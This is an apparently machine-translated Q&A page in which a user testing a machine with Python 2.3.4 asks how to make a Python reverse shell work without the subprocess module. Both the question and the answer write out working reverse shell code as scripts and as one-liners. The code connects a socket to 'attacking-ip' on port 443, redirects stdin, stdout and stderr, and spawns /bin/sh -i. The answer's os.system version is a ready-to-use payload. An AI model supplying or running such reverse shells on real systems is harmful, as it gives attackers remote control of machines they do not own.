2017-02-26 4 views
1

Python 2.3.4がインストールされているマシンをテストしています。Pythonサブプロセスのない逆シェル

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

です::この1つのライナー使用

import socket,subprocess,os 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("attacking-ip",443));os.dup2(s.fileno(),0) 
os.dup2(s.fileno(),1) 
os.dup2(s.fileno(),2) 
p=subprocess.call(["/bin/sh","-i"]) 

を、私はこのエラーを取得する:

Traceback (most recent call last): File "", line 1, in ? ImportError: No module named subprocess

私は今、逆を提供するためのスクリプトを作成するために探しています接続。私の問題や疑問は、サブプロセスのインポートでこれを行うことが可能な場合ですか?

私は、受信したデータにループを停止し、生きているスクリプトを維持する方法を考え出したていない、これは永遠にループする

#!/usr/bin/python 

import socket 
import os 

HOST = '' 
PORT = '' 

conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #CREATES TCP SOCKET 

conn.connect((HOST, PORT)) #CONNECT 

while 1: #LOOP 
    ls = os.system('ls') # test with ls 
#^ Need to add the ability to use any system command 
command_send = conn.send(ls) #RECEIVE COMMAND 
    #EXECUTE COMMAND 

これまでにこれをしています。

答えて

1

subprocessモジュールはPython 2.4で導入されました。


You can use os.system instead of subprocess.call

import socket, os 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(("attacking-ip", 443)) 
os.dup2(s.fileno(), 0) 
os.dup2(s.fileno(), 1) 
os.dup2(s.fileno(), 2) 
os.system("/bin/sh -i") 

python -c 'import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system("/bin/sh -i")' 
+0

ありがとうございます!私はこれを試してみましょう。これがうまくいかなくても、これは私の質問に答えます。 –

関連する問題